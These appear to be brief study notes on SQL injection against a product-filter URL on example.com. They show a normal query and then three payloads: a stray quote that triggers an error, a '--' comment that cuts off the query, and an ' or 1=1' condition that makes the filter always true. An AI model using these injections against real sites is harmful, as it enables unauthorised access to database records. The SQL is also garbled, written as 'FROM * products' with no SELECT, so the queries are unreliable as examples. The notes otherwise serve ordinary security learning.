Browser:

www.example.com/filter/categories='pets' release=1

Server:

FROM * products WHERE categories ='pets' release=1

from all ( * ) products where category is pets, show released

Payload:

www.example.com/filter/categories=''' release=1

FROM * products WHERE categories =''' release=1

error message because extra ’

www.example.com/filter/categories=''--' release=1

FROM * products WHERE categories=''

-- comments out everything after

www.example.com/filter/categories='' or 1=1 release=1

FROM * products WHERE categories ='' or TRUE release=1

from all products where category is either none ( ’’ ) OR TRUE, which is TRUE